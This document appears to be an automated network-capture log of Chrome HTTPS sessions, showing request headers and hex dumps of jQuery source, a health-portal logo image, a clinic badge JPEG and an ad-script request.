2024-04-24 12:45:08 UTC	15923	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 4e 6f 64 65 2c 66 3d 78 26 26 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 70 3d 21 6e 26 26 21 78 2c 64 3d 21 31 3b 69 66 28 63 29 7b 69 66 28 79 29 7b 77 68 69 6c 65 28 6c 29 7b 61 3d 65 3b 77 68 69 6c 65 28 61 3d 61 5b 6c 5d 29 69 66 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 75 3d 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d 7c 7c 28 61 5b Data Ascii: Node,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]\|\|(a[
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 22 2c 42 29 29 3b 76 61 72 20 24 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 29 7b 76 61 72 20 73 3d 30 2c 75 3d 65 2e 6c 65 6e 67 74 68 2c 6c 3d 6e 75 6c 6c 3d 3d 6e 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 77 28 6e 29 29 66 6f 72 28 73 20 69 6e 20 69 3d 21 30 2c 6e 29 24 28 65 2c 74 2c 73 2c 6e 5b 73 5d 2c 21 30 2c 6f 2c 61 29 3b 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 69 3d 21 30 2c 6d 28 72 29 7c 7c 28 61 3d 21 30 29 2c 6c 26 26 28 61 3f 28 74 2e 63 61 6c 6c 28 65 2c 72 29 2c 74 3d 6e 75 6c 6c 29 3a 28 6c 3d 74 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b 29 74 28 65 5b Data Ascii: ",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)\|\|(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 72 20 72 2c 69 3d 74 3f 53 2e 66 69 6c 74 65 72 28 74 2c 65 29 3a 65 2c 6f 3d 30 3b 6e 75 6c 6c 21 3d 28 72 3d 69 5b 6f 5d 29 3b 6f 2b 2b 29 6e 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 53 2e 63 6c 65 61 6e 44 61 74 61 28 76 65 28 72 29 29 2c 72 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 28 6e 26 26 69 65 28 72 29 26 26 79 65 28 76 65 28 72 2c 22 73 63 72 69 70 74 22 29 29 2c 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 72 29 29 3b 72 65 74 75 72 6e 20 65 7d 53 2e 65 78 74 65 6e 64 28 7b 68 74 6d 6c 50 72 65 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 3d Data Ascii: r r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n\|\|1!==r.nodeType\|\|S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 7b 43 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6e 29 7d 7d 29 7d 2c 72 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2c 69 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 65 6c 65 63 74 22 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6f 70 74 69 6f 6e 22 29 29 2c 72 74 2e 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 2c 79 2e 63 68 65 63 6b 4f 6e 3d 22 22 21 3d 3d 72 74 2e 76 61 6c 75 65 2c 79 2e 6f 70 74 53 65 6c 65 63 74 65 64 3d 69 74 2e 73 65 6c 65 63 74 65 64 2c 28 72 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 72 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 Data Ascii: {C.clearTimeout(n)}})},rt=E.createElement("input"),it=E.createElement("select").appendChild(E.createElement("option")),rt.type="checkbox",y.checkOn=""!==rt.value,y.optSelected=it.selected,(rt=E.createElement("input")).value="t",rt.type="radio",y.radioValu
2024-04-24 12:45:08 UTC	8017	IN	Data Raw: 29 7d 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 5f 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 7a 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 79 2e 63 6f 72 73 3d 21 21 7a 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 Data Ascii: )},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();y.cors=!!zt&&"withCredentia

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50072	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	582	OUT	GET /portal14763/images/newLogin/practice-landing-vector-web.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 5045 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"5045-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:08 UTC	5045	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 11 00 00 02 61 08 03 00 00 00 09 ec cd 21 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 cf 50 4c 54 45 00 00 00 4a ca df 4e c4 e2 50 bf df 55 d5 d5 4e bc de 40 bf ea 00 80 ff 47 c2 e0 4b c3 e1 46 c5 dc 46 b9 d1 00 00 00 4a ca ea 44 cc dd 40 bf bf 4d bf e6 55 c6 e3 4a bf df 49 c8 db 00 aa aa 49 c2 e7 4d b3 cc 4e c4 d8 40 bf df 47 c6 e3 49 b6 db 39 c6 e3 51 c5 e8 4d cc e6 4e c8 e9 40 bf d5 00 ff ff 46 d1 e8 4e c8 de 46 b9 dc 40 bf df 51 c9 e4 33 cc cc 44 bb dd 46 b9 e8 55 aa ff 49 c8 ed 49 c2 db 2a aa d5 00 ff ff 33 cc ff 33 99 cc 49 b6 db 4e c4 eb 40 bf ff 00 80 80 49 db ff 43 bc d7 4d cc e6 4d bf d9 55 aa aa 44 cc ee 00 00 ff 55 d5 ff Data Ascii: PNGIHDRa!sRGB,pHYsPLTEJNPUN@GKFFJD@MUJIIMN@GI9QMN@FNF@Q3DFUII*33IN@ICMMUDU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	50073	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	552	OUT	GET /wp-content/uploads/2022/11/FTCA-Badge_web-version.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:08 UTC	328	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/jpeg Content-Length: 157306 Connection: close Last-Modified: Mon, 04 Sep 2023 09:17:38 GMT ETag: "64f5a0b2-2667a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:08 UTC	16056	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 96 00 96 00 00 ff db 00 43 00 02 02 02 02 02 02 02 02 02 02 03 02 02 02 03 04 03 03 03 03 04 05 04 04 04 04 04 05 05 05 05 05 05 05 05 05 05 07 08 08 08 07 05 09 0a 0a 0a 0a 09 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff db 00 43 01 03 03 03 07 05 07 0d 07 07 0d 0f 0d 0d 0d 0f 0f 0e 0e 0e 0e 0f 0f 0c 0c 0c 0c 0c 0f 0f 0c 0e 0e 0e 0e 0c 0f 0c 11 11 11 11 11 0c 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 ff c2 00 11 08 02 ee 03 84 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 01 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 03 05 06 07 08 02 04 09 01 ff c4 00 1c 01 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 04 02 03 05 06 07 08 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 df e0 00 Data Ascii: JFIFCC
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 32 06 43 97 03 21 cb 87 2f 1c d4 17 3e 09 2a aa 0a cc 5e 5c 48 d5 f4 fa 0b be 27 35 2a 49 d3 c5 59 d0 ad 2f 09 5d 2d 94 4a 3f f5 23 1a 6b 66 fb 84 7e 35 57 aa 26 bd 67 c9 b1 f4 f5 1b aa dd 7b 93 f1 b5 32 c7 f5 d7 1f a9 9e 34 0b 5e 4d 73 c3 34 b3 14 57 38 e3 39 63 8d 8a 88 76 22 62 9d cc bd 87 86 67 06 cb 89 97 0e 5e 13 2e 3c bc 1c 81 90 32 06 5e 0e 43 97 0e 5e 39 d8 5e 35 ab b3 8a d4 7a fa 81 6c 90 56 bb 50 90 50 5a f5 15 18 e3 9a 93 c2 61 e8 68 e9 76 2e 60 26 51 9e 8b f8 b5 5e a8 9a f5 9f 26 c7 d3 d4 6e ab 75 ee 4f c5 b3 4d a7 01 10 aa aa 2e a8 ac 13 38 16 95 ed 4c 46 49 ee a7 c5 f3 98 42 ab 65 70 1e c5 c9 d3 c8 35 6a bb d7 15 d8 16 f5 f6 23 97 84 f1 31 d9 30 65 c7 91 8e c8 3c 47 23 1d 91 d9 31 d9 31 c8 c1 90 32 06 43 90 3f d0 8d c3 62 04 aa 39 83 20 64 Data Ascii: 2C!/>^\H'5IY/]-J?#kf~5W&g{24^Ms4W89cv"bg^.<2^C^9^5zlVPPZahv.`&Q^&nuOM.8LFIBep5j#10e<G#112C?b9 d
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 8a 55 59 b2 50 0a 95 24 62 8a 01 b9 59 cd 0d 13 dd 40 a3 7d e4 e7 55 d5 4e 71 39 a8 0d 42 79 a9 4e 71 2a 03 a8 73 a2 a1 cd 30 12 77 23 11 39 a9 b3 46 37 75 41 97 5a 55 9b 24 cf ea 2b 57 a2 b4 7a 2d 9b fa a1 1d d6 95 65 c9 4f cf c0 76 68 0a eb 8d f7 54 d9 ea d1 7f d5 f6 3e 01 fd 4f af 89 ef ba 38 11 f3 14 fc f8 52 64 54 3c c8 f3 fb 70 18 ea 8f 0c fc aa cb 97 82 d3 c8 7e 5a e9 56 84 23 77 44 f8 9c 4a 10 d0 1a ea d1 39 9f 1d a1 85 c3 72 85 b4 6d 0e a9 a0 35 a8 45 8f 72 8e 3b a1 43 19 07 7a 90 54 28 1a 40 de a5 87 d4 2b 8f 72 0c ba da 05 0c 74 cf 53 18 e6 a8 a3 a6 7a 98 c2 d3 a9 d1 9a ee 57 1c 53 19 75 3e 32 0d 42 0c 2e 3b d4 b1 de 57 5c 77 2b 94 6d 14 2d a0 de 9a c3 7a aa 76 17 64 a4 8e f0 57 5f 4a 28 a3 ba 28 b6 6e 61 f8 51 85 d5 af 8e ba ac fc cb 0c 16 15 Data Ascii: UYP$bY@}UNq9ByNq*s0w#9F7uAZU$+Wz-eOvhT>O8RdT<p~ZV#wDJ9rm5Er;CzT(@+rtSzWSu>2B.;W\w+m-zvdW_J((naQ
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 53 62 92 b2 c1 d1 07 43 50 82 a2 c2 16 25 63 f0 44 54 83 b4 e1 60 84 c3 76 80 94 f1 26 64 85 ff da 00 08 01 01 00 06 3f 02 ff 00 f6 b4 4d bb 37 9e a4 06 d6 a2 a6 90 be bd 43 f6 d2 f3 bd 99 d7 53 8b 48 ea 07 88 4e bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 bd cf fd eb d0 57 b9 ff 00 bd 7a 0a f7 3f f7 af 41 5e e7 fe f5 e8 2b dc ff 00 de bd 05 7b 9f fb d7 a0 af 73 ff 00 7a f4 15 ee 7f ef 5e 82 Data Ascii: SbCP%cDT`v&d?M7CSHNWz?A^+{sz^Wz?A^+{sz^Wz?A^+{sz^Wz?A^+{sz^
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: ab 3f ce 1f 93 3a b7 7d 0c be 51 ee 90 8e 77 3d 68 7f df 1a 53 3f 23 f9 fa c9 ed fc 78 ce a7 d6 0b 49 cc 91 2a e4 ea b4 c3 77 13 69 30 15 25 52 30 02 44 44 4c 7a f5 bd 49 8e 76 19 fe a4 95 d0 ed b3 5c ec e8 c7 fd eb 57 9b 5a c3 72 01 39 6d 92 4d 9b a6 39 49 50 38 3d 9d 74 95 20 3f 59 1f f8 49 3f c4 26 3b fa b6 1c 5f f4 ad 25 5c 25 e0 7c f2 ec 07 58 8a 41 82 e4 78 f2 e5 25 c7 8b 55 6a be c9 5f 95 94 bc 63 5d 53 17 3e 5b 2d 2f 88 52 ad d0 9d 28 ae 8c b9 2d 32 5d 07 05 c0 c9 11 76 12 55 f8 bf ff 00 75 d4 fd d5 cb fc b9 92 0b e2 31 e3 24 f5 91 be 68 3f 87 d6 a2 25 20 a6 c4 e9 1b bb ed 88 de 27 aa ed db 8f f9 42 e9 57 ef a3 a5 79 22 ab 3f ce 1f 93 3a b7 7d 0c be 51 ee 90 8d f1 ae bf e9 eb 47 b9 e3 4a 67 e4 7f 3f 58 a1 f1 d1 47 eb a3 0f 88 4a 3f 52 e1 cc e7 4d Data Ascii: ?:}Qw=hS?#xI*wi0%R0DDLzIv\WZr9mM9IP8=t ?YI?&;_%\%\|XAx%Uj_c]S>[-/R(-2]vUu1$h?% 'BWy"?:}QGJg?XGJ?RM
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: d7 a0 8a cd de 33 8f b8 d9 bc 82 86 9c 06 b1 ce aa bb 13 0c ab 47 0e db 76 8f 32 48 26 6d 18 16 b5 14 e3 1e 54 ec 55 c9 d9 84 24 71 ae 93 22 86 54 cb d0 d9 71 44 3e ca 84 0d b7 66 72 35 da e2 30 62 66 e7 8c e3 a4 ce 40 4e eb c3 60 6b c2 9a 4d d7 5c ad d0 a7 bc 44 a0 31 94 f2 a8 26 c5 ca 78 97 65 76 54 69 cb 70 8e 90 a5 90 8b 2f e9 13 46 6a 5b 11 0b 67 15 5a dd 6a e0 c4 b6 6e 52 f9 d9 4d 1c ca 8d 0a 63 9d d5 c5 36 22 a2 7d 74 dc c8 ef 03 b1 5e 0d 20 3a 2b bd 50 5d 78 e3 47 74 b0 c1 b7 35 67 53 24 8a 93 c9 dd 3c a1 05 54 ce 99 13 00 45 c3 56 38 d3 f6 d9 42 31 a3 b5 67 8f 34 99 d4 4a db ce 38 e0 9a 69 38 f0 cb 4b 02 df 77 8d 2e 5e 0a a8 db 67 8e 64 4d b9 17 61 77 2a f0 fd d2 75 bc 62 41 9d ce ed 9b 04 5d 08 57 22 08 48 cf fd e6 27 c5 ab 65 4e d1 de e2 12 5b Data Ascii: 3Gv2H&mTU$q"TqD>fr50bf@N`kM\D1&xevTip/Fj[gZjnRMc6"}t^ :+P]xGt5gS$<TEV8B1g4J8i8Kw.^gdMaw*ubA]W"H'eN[
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 20 b8 d2 3c 15 5f 8e 95 bd df f6 7f b8 92 ba 2b 5d bf 77 2e 83 07 a1 f9 41 77 b2 fb ff 00 c5 7b 7f 5a 32 e0 3e 4f ae 27 19 7f af e7 38 e8 23 a8 29 7e c9 07 fc 3d d0 7a 04 7c 79 66 7e 39 d2 81 a9 37 01 2b 85 2c 3d 9a 27 b5 f6 88 49 e6 18 7a 03 4a ad 84 c9 3c 4c af b1 3d cf fb 83 d4 08 20 81 87 40 7d 00 06 5c be 83 d4 e8 4b 87 41 e8 92 a2 44 8c 48 91 22 44 89 13 a0 91 22 44 89 12 0a 58 3e c7 2f c4 26 05 a3 16 1c 88 c3 d5 e9 17 b6 7c ff 00 03 40 aa 0c 4c 82 19 58 5a de a6 66 5b e9 63 cf 2f f2 fa 46 3d 15 9e dd 0b 67 40 82 1a d5 3c fd fc 77 f1 2c 52 90 2f 2e 3b bf d6 8c b8 0f 93 e1 07 bb f6 7f d8 bf 6e a0 87 ab a5 5a 79 89 ff 00 0f 74 18 a0 c4 2d a4 3d 95 fe e2 b2 53 57 eb 7f a7 4c ec ad b7 e0 f0 fc 17 db aa 0e cb e9 5e ba 3e e4 27 e7 a0 18 74 04 0f 40 61 04 Data Ascii: <_+]w.Aw{Z2>O'8#)~=z\|yf~97+,='IzJ<L= @}\KADH"D"DX>/&\|@LXZf[c/F=g@<w,R/.;nZyt-=SWL^>'t@a
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 3f bc 0e 9d d0 b1 d0 29 ed 74 0a 06 c2 13 58 ca 3a 15 84 bf 42 88 0b f4 25 fb d3 81 a6 e2 88 06 36 10 96 08 73 c7 9a 7a e0 b8 32 36 02 9b 5e 77 fe ad 68 f2 a6 62 79 5a 23 d9 4a dd ca 4e d3 3f d4 f9 92 1a f1 3a b8 3a 26 ee 26 8c 04 66 fe 8c 2d 8c b1 0d f8 04 31 87 13 79 b1 d3 f0 02 82 74 2d 05 3d 8e 81 4e 80 45 1b 48 59 3a 5e f5 d9 33 a6 3d 2c 32 f9 13 68 4e 44 20 1e 01 32 73 3e ca 94 be b6 39 9e eb 08 0b 84 31 a8 9f f4 eb 47 95 33 13 ca d1 1e ca 56 ee 52 76 99 fe 9f 25 ea d2 60 17 41 1d 31 1a a1 a4 c5 4b 04 58 52 0f 30 cc d8 72 60 72 6e 40 bf 1c 83 1e bd 90 2c 81 b4 f0 82 81 b0 14 13 a1 c0 10 29 ec 6e 06 80 fd 0d e3 02 8c 3e 0f b7 4b 40 8c 0c 7a 7a 4e 6b 1f 16 14 98 44 a0 9a 21 33 09 c2 c1 c9 88 2c 3f a3 5a 3c a9 98 9e 56 88 f6 52 b7 72 93 b4 cf f4 49 a6 Data Ascii: ?)tX:B%6sz26^whbyZ#JN?::&&f-1yt-=NEHY:^3=,2hND 2s>91G3VRv%`A1KXR0r`rn@,)n>K@zzNkD!3,?Z<VRrI
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 5c 08 70 93 12 b1 9b cd ce 81 93 10 82 c2 29 06 a0 52 df 82 8b 82 d6 09 9e 6e 81 9e f8 21 db 42 6a 07 c0 09 c9 03 8f 38 55 b0 63 ec 05 c8 b8 be 79 79 0d a7 34 12 e2 c9 b4 85 ce 89 82 11 02 45 c3 08 20 15 a6 70 24 f8 20 c0 78 4e b7 67 d3 03 34 08 1d 24 a1 86 20 47 94 70 53 81 80 56 0b 5c c3 02 83 40 87 b2 79 10 71 19 b0 8b ac 8d 82 22 b7 83 93 0e e8 a0 9a 82 85 0c 9f f0 14 2f 89 34 aa 7b b1 6e 0b a8 48 40 60 3f 93 4a 7b 2d 00 e9 c2 d3 ba 85 bd 88 53 37 90 fe 56 12 64 60 78 30 42 20 00 8a ea 72 c8 dc d6 22 11 a0 11 f9 21 35 24 3a 7c 4e b4 01 dc 15 5a e0 20 cc bb 9a 24 00 ca b3 91 1d cc 83 69 10 b5 0d 84 60 c4 a0 00 8b ac e7 00 0e 70 02 a0 4c 53 7c a1 06 46 6c 35 dd 99 b1 46 08 38 5a 10 d7 62 2f c4 49 c5 9d c6 13 87 30 bc 48 17 4e ab 1a 62 34 36 10 f1 b9 b5 Data Ascii: \p)Rn!Bj8Ucyy4E p$ xNg4$ GpSV\@yq"/4{nH@`?J{-S7Vd`x0B r"!5$:\|NZ $i`pLS\|Fl5F8Zb/I0HNb46
2024-04-24 12:45:08 UTC	10178	IN	Data Raw: e2 55 f8 c7 cc 37 c6 5e 6c fc 66 9f a4 f1 86 2d 6f 8c 1c a3 7c 66 9b ba 66 30 1a 88 81 13 b3 0f 0c f0 2a 00 95 b8 6c 9c 27 2e df d0 b3 a6 17 fc 48 4d fe c1 8b 0a 17 6e 0e 7b c0 fc 61 01 98 76 05 6c 47 c2 66 82 3d e6 ed b9 c7 bc f2 be 9b fd 73 dc ce 2c 2a 60 f5 8d a9 80 cc dd 2e b3 8b bc d1 9c 7b cd 1c e0 a7 49 1b 50 b1 1d ae 1f 22 66 67 43 90 c8 f5 b3 ce 1a 9a 57 2f 9c 1c a0 62 64 05 81 73 56 10 d1 4d 3c db cc 29 4b 91 d6 07 42 e9 79 80 1b 6c 74 7c 59 14 0d a1 5d 6c 78 c2 59 52 4e 55 4a 3a 45 1c 1f 7c 36 f1 83 38 c1 f1 82 f9 cf 73 58 4f 33 07 c6 7e 1c 03 87 17 bf 43 7e 4f 39 e6 b1 3c 65 33 97 0d ca b3 c2 20 cd 9a 0b e7 db 80 00 04 0d 01 fa e9 f6 2c d2 73 8b 42 a7 c1 9f c7 f8 6e 4b 81 fd 15 3e df da a4 25 a9 42 f4 1d 0e 6b e9 67 91 52 78 cb 2a bc f1 9f 98 Data Ascii: U7^lf-o\|ff0l'.HMn{avlGf=s,`.{IP"fgCW/bdsVM<)KBylt\|Y]lxYRNUJ:E\|68sXO3~C~O9<e3 ,sBnK>%BkgRx*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50075	18.154.142.121	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	853	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAIoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB
